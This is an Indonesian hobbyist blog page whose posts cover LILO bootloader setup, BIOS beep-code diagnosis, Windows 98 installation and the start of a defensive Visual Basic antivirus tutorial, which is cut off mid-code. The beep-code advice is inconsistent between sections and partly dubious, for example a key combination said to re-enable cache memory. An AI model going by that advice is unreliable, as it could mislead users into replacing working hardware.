Linux Loader (LILO)
Untuk memuat kernel diperlukan sebuah program loader khusus. RedHat telah menyediakan sebuah program yang dinamakan LILO atau Linux Loader (Werner Almesberger). LILO digunakan untuk mesin Intel-compatible, sedangkan mesin lain seperti Digital Equipment Corp. menggunakan MILO. Alpha PC, SPARCH-compatible dapat menggunakan SILO.
Saya menggunakan LILO karena mesin saya adalah Intel-compatible.
Pada saat instalasi RedHat Linux ada pilihan untuk menginstalasi LILO Bila saat instalasi pilihan ini dilewati atau Skip, LILO bisa di instalasi sekarang dengan perintah /sbin/lilo.
Disamping dengan LILO, kernel juga dapat dimuat dari DOS dengan menggunakan program LOADLIN.EXE. Cara yang mudah adalah mencopy kernel dan LOADLIN. EXE ke partisi DOS, lalu untuk memboot komputer cukup dengan mengetikkan perintah ini dari prompt DOS:
c:loadlin c:vmlinuz root=/dev/hda3 ro
/dev/hda3 bisa diganti sesuai dengan partisi root Linux.
Instalasi
LILO dapat diistalasi dan ditempatkan pada salah satu partisi sbb:
Master Boot Record (MBR) dari hard disk.
Root Partisi Linux.
Floppy disk.
Untuk menginstalasinya sangat mudah yaitu dengan perintah lilo (terdapat di direktori /sbin). Dokumentasinya dapat dibaca di /usr/doc. Ada shell script, QuickInst yang digunakan untuk mengganti LILO yang telah di instalasi.
Edit dan konfigurasi sesuai kebutuhan file /etc/lilo.conf
Jalankan /sbin/lilo untuk mengaktifkannya
Beberapa file akan berubah selama instalasi LILO, berikut ini file-file yang dibuat atau berubah selama instalasi LILO:
/sbin/lilo -- map installer; keterangan lihat man lilo
/boot/boot.b -- boot loader
/boot/map -- boot map, berisi lokasi kernel
/etc/lilo.conf -- file konfigurasi LILO
Untuk mencegah kerusakan sistem atau sistem tidak bisa di boot maka sebaiknya buat dulu emergency boot disk
Konfigurasi
Sebelum mengkonfigurasi LILO, sebaiknya mengetahui sistem operasi yang ada di setiap partisi hard disk serta menentukan partisi untuk meletakkan LILO. Pada umumnya LILO diletakkan pada MBR. Bila ada sistem lain seperti OS/2, sebaiknya LILO diletakkan pada superblock partisi root karena MBR akan ditempati boot loader OS/2.
Bila Linux satu-satunya sistem operasi yang ada di hard disk atau memiliki sistem operasi Windows 95/NT, LILO bisa diletakkan di MBR. Perhatikan partisi masing-masing dengan cermat, misal Windows di /dev/hda1 dan Linux di /dev/hda2.
Umumnya LILO di instalasi setelah partisi hard disk dibuat dan setelah sistem operasi Linux atau yang lain sudah di instalasi.
Mengedit lilo.conf
Login sebagai root sebelum mengedit file ini. Buka dengan sembarang editor teks ASCII, misal vi.
Contoh file lilo.conf:
# Start LILO global section
Boot = /dev/hda
Prompt
Vga = normal
Ramdisk = 0
# End LILO global section
image = /vmlinuz
root = /dev/hda3
label = linux
other = /dev/hda1
label = dos
tabel = /dev/hda
Parameter selengkapnya:
boot=
memberitahu device yang memiliki boot sector. Boot sector dibaca dari device ini dan di mount sebagai root.
linear
Mengenerate linear sector addrress. Lihat dokumentasi LILO.
install=
Menginstal file yang telah ditentukan sebagi boot sector yang baru. Jika install tidak dipakai, /etc/lilo/boot.b dipakai sebagi default.
message=
Untuk menampilkan file teks, besarnya maksimum 65,535 byte.
verbose=
Menampilkan progress reporting. Option lain seperti -v dan -q. Lihat dokumentasi LILO.
backup=
Menyalin boot sector asli ke file .
force-backup
Sama dengan backup. Option ini menimpa salinan backup yang telah dibuat dan akan mengabaikan option backup bila keduanya dipakai.
prompt
Meminta masukan saat boot.
timeout=
Mengeset waktu tunggu keyboard sebelum menjalankan option berikutnya. Defaultnya 5 detik. Masukkan value 0 jika ingin LILO menunggu sampai ada masukkan dari keyboard.
serial=
Mengijinkan masukan dari serial line dan keyboard ke LILO.
ignore-table
Mengabaikan tabel partisi yang corrupt.
password=
Memasang password untuk melindungi boot images.
Uninstall LILO
Menghapus atau menguninstalasi LILO dari sistem sangat mudah, dengan perintah:
lilo -u
atau dari partisi aktif Linux yang lain atau partisi DOS dengan menggunakan fdisk.
Bila LILO di instalasi sebagai MBR, maka MBR asli sebelum ditempati LILO dapat di restore dengan cara mem-boot sistem dengan DOS, kemudian jalankan:
sys c:
atau
fdisk /MBR
3/10/2008
Bunyi Beep pada komputer
1. Tidak ada bunyi Beep sama sekali
Berterima kasihlah Anda kepada Tuhan karena memang komputer Anda tidak bermasalah…… Tapi tetap tidak mau bekerja? Nah, berarti ada masalah nih…. Kemungkinan pertama adalah Power Supply, coba Anda periksa kembali apakah Power Supply Anda telah dipasang dengan benar. Periksa juga tegangan yang masuk apakah sesuai dengan kebutuhan. Kalau semuanya sudah benar berarti Power Supply Anda yang bermasalah….. Kemungkinan Kedua adalah Motherboard, periksa apakah Mobo anda masih berfungsi dengan benar. Kemungkinan ketiga adalah Speaker Internal Anda, coba periksa kembali apakah kabel speaker internal anda telah terpasang dengan benar pada Mobo.
2. Bunyi Beep satu kali
Siplah kalo cuma bunyi sekali, ini berarti semua komponen dalam keadaan baik-baik saja tetapi ada yang tidak terpasang dengan benar. Tetapi jika berbunyi satu kali dan tidak ada gambar di monitor, ada baiknya anda periksa kembali VGA card anda apakah sudah terpasang dengan benar sekalian juga periksa kabel yang berhubungan dengan monitor anda. Jika keadaan tetap tidak berubah coba anda periksa mobo anda apakah masih berfungsi dengan benar atau tidak. Jika hal ini terjadi kemungkinan ada masalah dengan salah satu chip di mobo. Langkah yang paling aman adalah mengganti mobo anda.
Catatan : sebelum mengganti mobo sebaiknya coba perhatikan apakah mobo anda berdebu? coba bersihkan kemungkinan salah satu komponen antara vga dan memori salah satu slotnya bermasalah.
3. Bunyi Beep dua kali
Kalau anda mendengar bunyi seperti ini sebanyak dua kali bisa dipastikan memori anda yang bermasalah. Periksa fasilitas grafis anda apabila berfungsi dengan benar maka akan muncul error pada monitor. Jika tidak berarti ada masalah dengan parity bagian 64KB yang pertama. Periksa SIMM yang ada, kemudian lakukan booting ulang. Jika bunyi masih terdengar berarti ada masalah dengan chip memori. Ganti kedudukan memori pada slot yang lain. Jika memori dalam keadaan berfungsi tetapi bunyi masih terdengar ada baiknya anda mengganti mobo.
4. bunyi Beep tiga kali
Lakukan pemeriksaan seperti nomor 3, biasanya kerusakan atau permasalahannya hampir sama dengan bunyi beep dua kali.
5. Bunyi Beep empat kali
Lakukan pemeriksaan seperti nomor 3, biasanya kerusakan atau permasalahannya hampir sama dengan bunyi beep dua atau tiga kali. Pada bunyi beep tiga kali masalah juga mungkin terjadi karena timer pada pc yang kurang berfungsi dengan baik.
6. Bunyi Beep lima kali
Protes keras bukan cuma dilakukan para mahasiswa tapi juga oleh memori. Periksa memori anda muali dari slot sampai chip memori apakah masih berfungsi dengan benar. Coba cabut dan pasang kembali setelah itu booting ulang. Jika masih terdengar bunyi yang sama coba pinjam prosesor teman anda… hehe….mungkin saja prosesor anda yang rusak.
7. Bunyi Beep enam kali
Kemungkinan terbesar terjadi pada chip dalam mobo yang mengendalikan fungsi keyboard. Coba atur kembali posisi chip jika tidak disolder. Jika bunyi masih terdengar coba ganti chipset dengan yang baru jika dimungkinkan. Ini juga kalo chipsetnya tidak disolder mati ke mobo. Jika tidak terpaksa anda mengganti dengan mobo yang baru.
8. Bunyi Beep tujuh kali
Bunyi tujuh kali, pusing tujuh keliling…. Buat kita-kita yang masih mahasiswa masalah ini bisa jadi bakal mengorek habis cadangan devisa yang dimiliki. Kemungkinan yang bermasalah adalah Mobo dan Prosesor…. Coba perhatikan pin (kaki pada prosesor) apakah ada yang patah. Atau prosesor anda memang bermasalah. Bisa juga karena mobo anda yang kurang beres. Coba lakukan pengujian dengan memasang prosesor pada pc lain yang menggunakan prosesor yang sama. Jika prosesor berfungsi dengan baik maka mobo anda yang bermasalah. Jalan yang terbaik adalah dengan mengganti salah satu komponen yang kurang beres tadi.
9. Bunyi Beep delapan kali
Bisa dipastikan vga alias kartu grafis anda yang bermasalah. Coba pasang ulang dan periksa kembali semua interface yang berhubungan denga kartu grafis ini… Jika masih bermasalah kemungkinan kerusakan terjadi pada memori dalam kartu grafis atau malah keseluruhan kartu grafis anda. Langkah terbaik adalah mengganti kartu grafis dengan yang baru.
10. Bunyi Beep sembilan kali
BIOS anda bermasalah…… coba ganti atau upgrade BIOS anda, kalau masih bermasalah lagi-lagi harus mengganti mobo.
11. Bunyi Beep sepuluh kali
Hehehe… maaf bener nih pembaca…. lagi-lagi harus ganti mobo…. soalnya CMOS-nya radang usus buntu.
12. Bunyi Beep sebelas kali
Nah, kalo yang ini bisa jadi karena cahce memori maka PC secara otomatis mendisable-nya untuk anda. Yang harus dilakukan adalah mengaktifkannya kembali dengan menekan tombol ctrl+alt+shift++
Kalo masih kurang tokcer… silahkan ganti memori anda..
Sekian dulu ya……..
Seperti kata pepatah…. Tak ada gading yang tak retak…. maka bisa saja apa yang saya kemukakan disini tidak sesuai dengan kenyataan di lapangan…. Langkah terbaik untuk mengetahui dengan pasti permasalahan yang terjadi karena bunyi beep tersebut adalah dengan menguji coba pada PC yang berfungsi dengan benar. Coba anda ganti satu persatu dengan komponen yang dicurigai bermasalah. Hal ini juga sering saya lakukan biarpun saya sudah mempunyai panduan bunyi beep tsb.
INGAT!!! “Jangan Percaya Sebelum Membuktikan”
Berterima kasihlah Anda kepada Tuhan karena memang komputer Anda tidak bermasalah…… Tapi tetap tidak mau bekerja? Nah, berarti ada masalah nih…. Kemungkinan pertama adalah Power Supply, coba Anda periksa kembali apakah Power Supply Anda telah dipasang dengan benar. Periksa juga tegangan yang masuk apakah sesuai dengan kebutuhan. Kalau semuanya sudah benar berarti Power Supply Anda yang bermasalah….. Kemungkinan Kedua adalah Motherboard, periksa apakah Mobo anda masih berfungsi dengan benar. Kemungkinan ketiga adalah Speaker Internal Anda, coba periksa kembali apakah kabel speaker internal anda telah terpasang dengan benar pada Mobo.
2. Bunyi Beep satu kali
Siplah kalo cuma bunyi sekali, ini berarti semua komponen dalam keadaan baik-baik saja tetapi ada yang tidak terpasang dengan benar. Tetapi jika berbunyi satu kali dan tidak ada gambar di monitor, ada baiknya anda periksa kembali VGA card anda apakah sudah terpasang dengan benar sekalian juga periksa kabel yang berhubungan dengan monitor anda. Jika keadaan tetap tidak berubah coba anda periksa mobo anda apakah masih berfungsi dengan benar atau tidak. Jika hal ini terjadi kemungkinan ada masalah dengan salah satu chip di mobo. Langkah yang paling aman adalah mengganti mobo anda.
Catatan : sebelum mengganti mobo sebaiknya coba perhatikan apakah mobo anda berdebu? coba bersihkan kemungkinan salah satu komponen antara vga dan memori salah satu slotnya bermasalah.
3. Bunyi Beep dua kali
Kalau anda mendengar bunyi seperti ini sebanyak dua kali bisa dipastikan memori anda yang bermasalah. Periksa fasilitas grafis anda apabila berfungsi dengan benar maka akan muncul error pada monitor. Jika tidak berarti ada masalah dengan parity bagian 64KB yang pertama. Periksa SIMM yang ada, kemudian lakukan booting ulang. Jika bunyi masih terdengar berarti ada masalah dengan chip memori. Ganti kedudukan memori pada slot yang lain. Jika memori dalam keadaan berfungsi tetapi bunyi masih terdengar ada baiknya anda mengganti mobo.
4. bunyi Beep tiga kali
Lakukan pemeriksaan seperti nomor 3, biasanya kerusakan atau permasalahannya hampir sama dengan bunyi beep dua kali.
5. Bunyi Beep empat kali
Lakukan pemeriksaan seperti nomor 3, biasanya kerusakan atau permasalahannya hampir sama dengan bunyi beep dua atau tiga kali. Pada bunyi beep tiga kali masalah juga mungkin terjadi karena timer pada pc yang kurang berfungsi dengan baik.
6. Bunyi Beep lima kali
Protes keras bukan cuma dilakukan para mahasiswa tapi juga oleh memori. Periksa memori anda muali dari slot sampai chip memori apakah masih berfungsi dengan benar. Coba cabut dan pasang kembali setelah itu booting ulang. Jika masih terdengar bunyi yang sama coba pinjam prosesor teman anda… hehe….mungkin saja prosesor anda yang rusak.
7. Bunyi Beep enam kali
Kemungkinan terbesar terjadi pada chip dalam mobo yang mengendalikan fungsi keyboard. Coba atur kembali posisi chip jika tidak disolder. Jika bunyi masih terdengar coba ganti chipset dengan yang baru jika dimungkinkan. Ini juga kalo chipsetnya tidak disolder mati ke mobo. Jika tidak terpaksa anda mengganti dengan mobo yang baru.
8. Bunyi Beep tujuh kali
Bunyi tujuh kali, pusing tujuh keliling…. Buat kita-kita yang masih mahasiswa masalah ini bisa jadi bakal mengorek habis cadangan devisa yang dimiliki. Kemungkinan yang bermasalah adalah Mobo dan Prosesor…. Coba perhatikan pin (kaki pada prosesor) apakah ada yang patah. Atau prosesor anda memang bermasalah. Bisa juga karena mobo anda yang kurang beres. Coba lakukan pengujian dengan memasang prosesor pada pc lain yang menggunakan prosesor yang sama. Jika prosesor berfungsi dengan baik maka mobo anda yang bermasalah. Jalan yang terbaik adalah dengan mengganti salah satu komponen yang kurang beres tadi.
9. Bunyi Beep delapan kali
Bisa dipastikan vga alias kartu grafis anda yang bermasalah. Coba pasang ulang dan periksa kembali semua interface yang berhubungan denga kartu grafis ini… Jika masih bermasalah kemungkinan kerusakan terjadi pada memori dalam kartu grafis atau malah keseluruhan kartu grafis anda. Langkah terbaik adalah mengganti kartu grafis dengan yang baru.
10. Bunyi Beep sembilan kali
BIOS anda bermasalah…… coba ganti atau upgrade BIOS anda, kalau masih bermasalah lagi-lagi harus mengganti mobo.
11. Bunyi Beep sepuluh kali
Hehehe… maaf bener nih pembaca…. lagi-lagi harus ganti mobo…. soalnya CMOS-nya radang usus buntu.
12. Bunyi Beep sebelas kali
Nah, kalo yang ini bisa jadi karena cahce memori maka PC secara otomatis mendisable-nya untuk anda. Yang harus dilakukan adalah mengaktifkannya kembali dengan menekan tombol ctrl+alt+shift++
Kalo masih kurang tokcer… silahkan ganti memori anda..
Sekian dulu ya……..
Seperti kata pepatah…. Tak ada gading yang tak retak…. maka bisa saja apa yang saya kemukakan disini tidak sesuai dengan kenyataan di lapangan…. Langkah terbaik untuk mengetahui dengan pasti permasalahan yang terjadi karena bunyi beep tersebut adalah dengan menguji coba pada PC yang berfungsi dengan benar. Coba anda ganti satu persatu dengan komponen yang dicurigai bermasalah. Hal ini juga sering saya lakukan biarpun saya sudah mempunyai panduan bunyi beep tsb.
INGAT!!! “Jangan Percaya Sebelum Membuktikan”
Diposting oleh
Pardila Wisman
Identifikasi suara BEEP pada PC anda
Pada saat komputer kita menghadapi masalah yang tidak jelas(monitor tidak menyala, tidak ada indikator apapun, atau bahkan blank tidak ada tanda-tanda kehidupan) maka kita harus mencari penyebab masalah tersebut, PC pada umumnya memiliki speeker internal yang dapat memberikan informasi mengenai titik rusak / titik dimana komputer kita berhenti/stack pada saat booting, nah di tulisan ini saya akan sedikit memberikan informasi menganai tanda bunyi Beep dan kerusakan pada bagian apa.
Indikator Suara dan keterangan bagian yang stack
* 1 x —> Kegagalan refresh DRAM (Sistem mempunyai masalah mengakses memori untuk merefreshnya).
* 2 x —> Kegegalan rangkaian parity (Pada data yang ditransmisikan dalam komputer, biasanya ditambahkan parity bit yang berfungsi untuk mendeteksi dan koreksi error. Pekerjaan ini dilakukan oleh rangkaian parity yang terdapat dalam komputer. Hal ini kemungkinan disebabkan oleh adanya masalah pada memori atau motherboard).
* 3 x —> Kegagalan rangkaian parity (Pada data yang ditransmisikan dalam komputer, biasanya ditambahkan parity bit yang berfungsi untuk mendeteksi dan koreksi error. Pekerjaan ini dilakukan oleh rangkaian parity yang terdapat dalam komputer. Hal ini kemungkinan disebabkan oleh adanya masalah pada memori atau motherboard. Kegagalan base memori 64K. Base memori 64 K adalah 64 KB memori yang pertama pada RAM. Kegagalan ini bisa disebabkan oleh slot memori yang dikelompokkan dalam modul memiliki chip yang rusak. Hal ini berhubungan dengan kerusakan motherboard).
* 4 x —> Kegagalan system timer (Kemungkinan ada kesalahan pada satu atau lebih timer yang digunakan untuk mengontrol fungsi-fungsi pada motherboard).
* 5 x —> Kegagalan prosesor (Dapat disebabkan oleh panas yang berlebih, atau karena prosesor tidak terpasang benar ke dalam socketnya).
* 6 x —> Kegagalan keyboard controller/gate A20 (Keyboard controller adalah chip pada motherboard yang mengendalikan keyboard Anda).
* 7 x —> Kesalahan pada prosesor.
* 8 x —> Kegagalan baca/tulis memori display.
* 9 x —> Kerusakan pada BIOS.
* 10x —> Kesalahan pada CMOS.
* 11x —> Kerusakan pada cache memori.
Kerusakan/trobleshoot pada Hardware bisanya bisa di tanggulangi dengan pembersihan komponen yang rusaknya, misal RAM dibersihkan, Processor dll, namun jika dikarenakan listrik/petir habis lah sudah.
Memang ada sedikit perbedaan masalah bunyi dikarenakan model jenis BIOS, adapun sebagai berikut :
:: Pada Ami BIOS
============
1. Bunyi BEEP hanya sekali sahaja.
Kemungkinan RAM (random access memory) mempunyai masalah atau pun tidak dipasang dengan betul.
2. BEEP sebanyak enam kali
Kemungkinan keyboard / papan kekunci anda sudah rosak atau tidak dipasangkan dengan betul pada p/s2 port atau USB port.
3. BEEP sebanyak lapan kali
Kemungkinan VGA (Video Graphics Array) kad atau pun graphic card anda mengalami masalah atau pun tidak dipasang dengan betul.
4. BEEP sebanyak 11 kali
Checksum Error iaitu melibatkan bateri CMOS anda pada motherboard. Anda boleh menukar bateri CMOS yang baru jika mengalami masalah ini.
:: Award BIOS
==========
1. Bunyi BEEP yang panjang
Memori anda mempunyai masalah atau tidak dipasang dengan betul.
2. 1 BEEP panjang dan 2 BEEP pendek
VGA kad atau graphic kad mempunyai masalah atau tidak dipasang dengan betul.
3. 1 BEEP panjang, 3 BEEP pendek
Kemungkinan keyboard anda bermasalah atau tidak dipasang dengan betul pada p/s2 port atau USB port.
4. Bunyi BEEP yang berpanjangan (contiuouns BEEP)
RAM atau VGA kad anda tidak dipasang dengan betul.
:: Pheonix BIOS
=============
1. 1 BEEP, 1 BEEP dan 4 BEEP
Disebabkan BIOS anda tidak berfungsi. Boleh update atau flash BIOS.
2. 1 BEEP, 2 BEEP dan 1 BEEP
Disebabkan motherboard anda yang sudah rosak.
3. 1 BEEP, 3 BEEP dan 1 BEEP
RAM anda mungkin bermasalah atau tidak dipasang dengan betul.
4. 3 BEEP, 1 BEEP dan 1 BEEP
Adalah disebabkan masalah motherboard computer anda.
5. 3 BEEP, 3 BEEP dan 4 BEEP
VGA kad atau graphic anda bermasalah atau tidak dipasang dengan betul.
semoga artikel diatas bermaanfat
sumber :http://www.ict-rr1.net/ngoprek/forum
Indikator Suara dan keterangan bagian yang stack
* 1 x —> Kegagalan refresh DRAM (Sistem mempunyai masalah mengakses memori untuk merefreshnya).
* 2 x —> Kegegalan rangkaian parity (Pada data yang ditransmisikan dalam komputer, biasanya ditambahkan parity bit yang berfungsi untuk mendeteksi dan koreksi error. Pekerjaan ini dilakukan oleh rangkaian parity yang terdapat dalam komputer. Hal ini kemungkinan disebabkan oleh adanya masalah pada memori atau motherboard).
* 3 x —> Kegagalan rangkaian parity (Pada data yang ditransmisikan dalam komputer, biasanya ditambahkan parity bit yang berfungsi untuk mendeteksi dan koreksi error. Pekerjaan ini dilakukan oleh rangkaian parity yang terdapat dalam komputer. Hal ini kemungkinan disebabkan oleh adanya masalah pada memori atau motherboard. Kegagalan base memori 64K. Base memori 64 K adalah 64 KB memori yang pertama pada RAM. Kegagalan ini bisa disebabkan oleh slot memori yang dikelompokkan dalam modul memiliki chip yang rusak. Hal ini berhubungan dengan kerusakan motherboard).
* 4 x —> Kegagalan system timer (Kemungkinan ada kesalahan pada satu atau lebih timer yang digunakan untuk mengontrol fungsi-fungsi pada motherboard).
* 5 x —> Kegagalan prosesor (Dapat disebabkan oleh panas yang berlebih, atau karena prosesor tidak terpasang benar ke dalam socketnya).
* 6 x —> Kegagalan keyboard controller/gate A20 (Keyboard controller adalah chip pada motherboard yang mengendalikan keyboard Anda).
* 7 x —> Kesalahan pada prosesor.
* 8 x —> Kegagalan baca/tulis memori display.
* 9 x —> Kerusakan pada BIOS.
* 10x —> Kesalahan pada CMOS.
* 11x —> Kerusakan pada cache memori.
Kerusakan/trobleshoot pada Hardware bisanya bisa di tanggulangi dengan pembersihan komponen yang rusaknya, misal RAM dibersihkan, Processor dll, namun jika dikarenakan listrik/petir habis lah sudah.
Memang ada sedikit perbedaan masalah bunyi dikarenakan model jenis BIOS, adapun sebagai berikut :
:: Pada Ami BIOS
============
1. Bunyi BEEP hanya sekali sahaja.
Kemungkinan RAM (random access memory) mempunyai masalah atau pun tidak dipasang dengan betul.
2. BEEP sebanyak enam kali
Kemungkinan keyboard / papan kekunci anda sudah rosak atau tidak dipasangkan dengan betul pada p/s2 port atau USB port.
3. BEEP sebanyak lapan kali
Kemungkinan VGA (Video Graphics Array) kad atau pun graphic card anda mengalami masalah atau pun tidak dipasang dengan betul.
4. BEEP sebanyak 11 kali
Checksum Error iaitu melibatkan bateri CMOS anda pada motherboard. Anda boleh menukar bateri CMOS yang baru jika mengalami masalah ini.
:: Award BIOS
==========
1. Bunyi BEEP yang panjang
Memori anda mempunyai masalah atau tidak dipasang dengan betul.
2. 1 BEEP panjang dan 2 BEEP pendek
VGA kad atau graphic kad mempunyai masalah atau tidak dipasang dengan betul.
3. 1 BEEP panjang, 3 BEEP pendek
Kemungkinan keyboard anda bermasalah atau tidak dipasang dengan betul pada p/s2 port atau USB port.
4. Bunyi BEEP yang berpanjangan (contiuouns BEEP)
RAM atau VGA kad anda tidak dipasang dengan betul.
:: Pheonix BIOS
=============
1. 1 BEEP, 1 BEEP dan 4 BEEP
Disebabkan BIOS anda tidak berfungsi. Boleh update atau flash BIOS.
2. 1 BEEP, 2 BEEP dan 1 BEEP
Disebabkan motherboard anda yang sudah rosak.
3. 1 BEEP, 3 BEEP dan 1 BEEP
RAM anda mungkin bermasalah atau tidak dipasang dengan betul.
4. 3 BEEP, 1 BEEP dan 1 BEEP
Adalah disebabkan masalah motherboard computer anda.
5. 3 BEEP, 3 BEEP dan 4 BEEP
VGA kad atau graphic anda bermasalah atau tidak dipasang dengan betul.
semoga artikel diatas bermaanfat
sumber :http://www.ict-rr1.net/ngoprek/forum
Diposting oleh
Pardila Wisman
3/01/2008
Cara Mengintall Windows 98
windows 98 yah...
harus punya bootable CD / Disket dulu
pertama boot komputer lo pake CD / Disket Bootable itu..
kalo dah masuk A:>
ganti cd tersebut dengan cd win 98
terus ketikin drive tempat win 98 berada ( Asumsi CD win 98 ada di drive D )
berarti "A:/>d:" enter
liat isi direktory cdnya.. apakah di dalam folder lagi ato tidak.. dengan perintah dir
(D:/>dir)
kalo ga ada setup.exe ya berarti ada di dalem folder.. (asumsikan folder nya bernama "win98" )
"D:/>cd win98" enter
lalu prompt anda akan berubah menjadi "D:/win98>"
coba liat isi direktory dengan perintah dir tadi..
kalo memang ada yang namanya setup.exe tinggal eksekusi aja
"D:/win99>setup.exe" enter..
Sorry kalo penjelasannya berantakan :D
jarang install windows ;))
harus punya bootable CD / Disket dulu
pertama boot komputer lo pake CD / Disket Bootable itu..
kalo dah masuk A:>
ganti cd tersebut dengan cd win 98
terus ketikin drive tempat win 98 berada ( Asumsi CD win 98 ada di drive D )
berarti "A:/>d:" enter
liat isi direktory cdnya.. apakah di dalam folder lagi ato tidak.. dengan perintah dir
(D:/>dir)
kalo ga ada setup.exe ya berarti ada di dalem folder.. (asumsikan folder nya bernama "win98" )
"D:/>cd win98" enter
lalu prompt anda akan berubah menjadi "D:/win98>"
coba liat isi direktory dengan perintah dir tadi..
kalo memang ada yang namanya setup.exe tinggal eksekusi aja
"D:/win99>setup.exe" enter..
Sorry kalo penjelasannya berantakan :D
jarang install windows ;))
Diposting oleh
Pardila Wisman
Windows 98 install from CD
Microsoft's Windows 98 SE - CD Install on Blank Hard Drive
INTRODUCTION
What you will require to do this walkthrough is
A Windows 98 CD
A Computer with CD-ROM access
To start this Windows install. First check that the first boot device in your system BIOS is set to the CD-ROM Drive.
( To find out how to access the BIOS please refer to your motherboard manual or the manufacturer of your computer. (The system bios can usually be entered on boot, usually by pressing the F1, F2, F8, F10 or DEL key. Make sure you save the settings before exiting))
If you are unsure or don't want to enter the BIOS then just test the computer by putting the CD-ROM in the drive and rebooting the computer. This is the recommended way to install windows.
You will know that your computer will/has booted of CD-ROM when the following screen appears.
PART 1
To begin the Windows 98 install select Option 2 (Boot from CD-Rom)
The following screen will appear next. Select Option 1. (Start Windows 98 Setup from CD-ROM)
Your CD-ROM driver will now install, be patient this may take a few moments.
Now press Enter to continue, or F3 to exit.
Setup will now perform checks on your system, press Enter to continue.
Next Scandisk will run, let this complete or setup.
Now setup will copy important files for the install.
PART 2
Setup has now begun, the mouse should now be active, press Continue to proceed. If you have a change of mind then press Exit Setup. If the mouse is not active press "ENTER" on the keyboard.
The wizard will now start. Be patient this may take a few moments.
Now select the directory you wish to install Windows into. By default C:\Windows will be selected. You can change this, but it is not advised. Click on Next to Continue.
Setup will now prepare the directory, be patient this may take a moment.
Setup now checks disk space.
What do you wish to install. We recommend Typical, which is the default. So click Next to continue.
Windows Components to be installed will now be listed. Leave at default and press Next.
If a Network card has been detected the following will appear. Fill in the details and click Next.
Now your country settings, select as needed and then press Next.
Windows will now copy files, this will take sometime. Be patient
PART 3
After sometime you will be prompted to restart, Windows will do it itself, you can click on Restart Now to quicken the process.
The CD-ROM boot menu will appear. Select option 1 (Boot from Hard Disk)
Booting for first time screen will appear.
Now enter your name, company is optional. Click on Next to continue.
Now the License Agreement. Read and if you agree click on "I accept the Agreement" and click next. If you select ""I don't accept the Agreement" then setup will end.
Now input your product key or certificate authenticity code. This is 16 digits and is located on the back of your CD case or on the Windows 98 Book. If you have an OEM computer then it could be on the side or back of your computer. Click next to continue.
Next click on Finish.
PART 4
Setup will now finalize the hardware and install settings.
Plug and Play Devices.....
Your computer will prompt to restart....
The CD boot menu will appear. Select option 1 (Boot from Hard Disk) and press enter.
Windows is booting.
and continuing the install of devices.
PART 5
Now select your date/time settings, using the down arrow beside GMT -0800.
Once selected click on apply and then OK.
Windows will continue to setup Windows items.
The computer will now need restarted again.
PART 6
The CD-ROM boot menu will appear. Select Option 1 (Boot from Hard Disk) and press enter.
Windows will continue to load.
and update System Settings.
At long last you have arrived at the desktop.
If you are lucky you will have no drivers to install, but chances are the next step will be to install them. Check out device manager for unknown devices, likely items are Network Cards, Sound Cards, Printers, Scanners, Graphics Cards, Digital Cameras, plus any other item you have.
Diposting oleh
Pardila Wisman
2/29/2008
Teknik Membuat Anti Virus Dengan VB
Keamanan dalam bekerja dengan menggunakan komputer sebagai sarana mengaplikasikan berbagai pekerjaan, anti virus merupakan kebutuhan pokok yang harus dipunyai oleh setiap komputer. tapi apakah semua anti virus yang beredar di pasaran sanggup untuk mengatasi berbagai malcode yang berkeliaran? jawabannya pasti tidak. kenapa? karena semakin canggihnya teknologi dan semakin pintarnya seseorang maka semakin bobrok juga otak2 orang itu.,…..
Pada kenyataannya, sekarang banyak virus, worm dan berbagai saudaranya yang beredar yang dihasilkan oleh orang2 yang tak punya moral dengan tujuan tertentu. (ah…..jadi vixers ga ada untungnya, cuma ngerusakin kompi orang).
yooo…. dari pada basa basi mending kita bahas, susah ga bikin removal atau anti virus itu? jawabannya bisa ya bisa tidak, kenapa.? kalo mo buat anti virus yang diperlukan adalah bahasa program apa yang kita kuasai, klo ga menguasai gimana dok? jawabannya ya belajarlah (susah2 amat).
ok…. buat persiapan bikin anti virus :(…….Lets Go………)
1. Siapkan sampel2 virus
Kita harus nyiapin sampel2 virus, yang berguna agar program ,yang kita buat dapat mendeteksi keberadaan virus2 tersebut. semakin banyak sampel yang kita punyai semakin baik program tersebut dalam mendeteksi virus2 yang beredar maupun varian2 nya.
2. Teh Panas, Lucky Strike and Lagu Kesukaan ( BIar Ga Bosan)
(saya hanya memaparkan beberapa souce code yang dianggap penting,,,, dalam membuat anti virus)
MEMBACA SIGNATURE VIRUS YANG ADA
Private Sub cmdTambah_Click()
Dim nf As Integer
Dim cVDF As String
Dim cPattern As String
cVDF = App.Path + “\Scan.vdf”
nf = FreeFile
Open cVDF For Append As #nf
cPattern = AmbilPatternFile(txtPath.Text)
If cPattern = “” Then
MsgBox “Gagal mengambil pattern virus !”, vbCritical, vbOKOnly
Else
Print #nf, cPattern + txtNamaVirus.Text
Call lstHistory.AddItem(”Tambah VDF : ” + txtNamaVirus.Text, 0)
End If
Close #nf
End Sub
Kelemahan Teknik ini berfungsi jika signature virus ada, jika tidak maka kemungkinan virus-virus tidak akan dikenali….
teknik lain yang sering digunakan oleh antivirus lain seperti CRC atau ceksum… dan ini kemungkinan besar untuk mendeteksi keberadaan virus-virus yang ada
CEK PROSES BERJALAN
Public Sub CekProcesses()
Dim hSnapShot As Long
Dim ProcessEntry As PROCESSENTRY32
Dim NextEnumExists As Boolean
Dim Pos As Long
Dim pId As Long
Dim fileName As String
Dim baseName As String
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
If hSnapShot = 0 Then
MsgBox “Failed to create Module and Thread snapshot”
Exit Sub
End If
ProcessEntry.dwSize = Len(ProcessEntry)
NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)
While NextEnumExists
pId = ProcessEntry.th32ProcessID
Pos = InStr(ProcessEntry.szExeFile, Chr(0))
If Pos > 1 Then
fileName = Left(ProcessEntry.szExeFile, Pos - 1)
baseName = extractFilename(fileName)
Else
fileName = “”
baseName = “”
End If
Call lstHistory.AddItem(”Periksa (” + Hex$(pId) + “) ” + fileName, 0)
Call cekModules(pId)
NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)
Wend
Call CloseHandle(hSnapShot)
End Sub
Public Sub CekModules(pId As Long)
Dim ModuleEntry As TMODULEENTRY32
Dim hProcess As Long
Dim Proceed As Long
Dim hSnapShot As Long
Dim lWritten As Long
Dim sBuffer As String * 512
Dim ImageNTHeader As IMAGE_NT_HEADERS
Dim e_lfanew As Integer
Dim Pattern As String
Dim i As Integer
If GetVersion = VER_PLATFORM_WIN32_NT Then
